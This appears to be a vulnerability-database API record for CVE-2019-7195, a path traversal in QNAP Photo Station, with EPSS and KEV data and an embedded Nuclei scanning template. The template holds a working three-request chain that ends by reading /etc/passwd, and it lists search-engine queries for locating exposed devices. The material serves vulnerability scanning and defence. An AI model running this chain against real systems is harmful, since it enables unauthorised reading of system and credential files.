{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-7195/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-7195/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-7195/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-7195/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-7195/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-7195"},"sightings":{"href":"/api/v1/sightings/cve-2019-7195"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.89681,"kev":true,"percentile":0.99782},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-7195.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-7195\n\ninfo:\n  name: QNAP Photo Station - Path Traversal\n  author: s4e-io\n  severity: critical\n  description: |\n    QNAP devices running Photo Station contain an external control of file name or path vulnerability allowing remote attackers to access or modify system files.\n  impact: |\n    Unauthenticated attackers can exploit path traversal to access or modify system files, potentially reading sensitive configuration files and credentials.\n  remediation: |\n    Upgrade to QNAP Photo Station version that addresses this vulnerability or apply vendor-provided patches.\n  reference:\n    - https://cycrafttechnology.medium.com/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e\n    - https://packetstorm.news/files/id/157857\n    - https://github.com/cycraft-corp/cve-2019-7192-check\n    - https://github.com/qazbnm456/awesome-cve-poc\n    - https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-7195\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-7195\n    cwe-id: CWE-22\n    epss-score: 0.89681\n    epss-percentile: 0.99782\n    cpe: cpe:2.3:a:qnap:photo_station:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: qnap\n    product: photo_station\n    shodan-query:\n      - content-length:\"580 \"http server 1.0\"\"\n      - http.title:\"photo station\"\n      - http.title:\"qnap\"\n    fofa-query:\n      - title=\"photo station\"\n      - title=\"qnap\"\n    google-query:\n      - intitle:\"photo station\"\n      - intitle:\"qnap\"\n  tags: cve,cve2019,kev,qnap,lfi,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /photo/p/api/album.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        a=setSlideshow&f={{to_lower(rand_text_alpha(5))}}\n\n      - |\n        GET /photo/slideshow.php?album={{album_id}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n      - |\n        POST /photo/p/api/video.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        album={{album_id}}&a=caption&ac={{access_code}}&f=UMGObv&filename=.%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code_3 == 200\"\n          - \"regex('admin:', body_3)\"\n          - \"contains_all(header_3, 'video/subtitle', 'filename=')\"\n        condition: and\n\n    extractors:\n      - type: regex\n        name: album_id\n        part: body_1\n        group: 1\n        regex:\n          - '<output>([a-zA-Z]+)<\\/output>'\n        internal: true\n\n      - type: regex\n        name: access_code\n        part: body_2\n        group: 1\n        regex:\n          - encodeURIComponent\\('([A-Za-z0-9]+)'\\)\n        internal: true\n# digest: 4a0a00473045022100bf0b3e86ae436ab19b84b42c4627a58edbfb39d17afc96be45892ed14aa9696c02202c94b26468b558b2b7abafc55cff94d865192b802caa22f422f4ce8bc64416cf:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2019-7195"}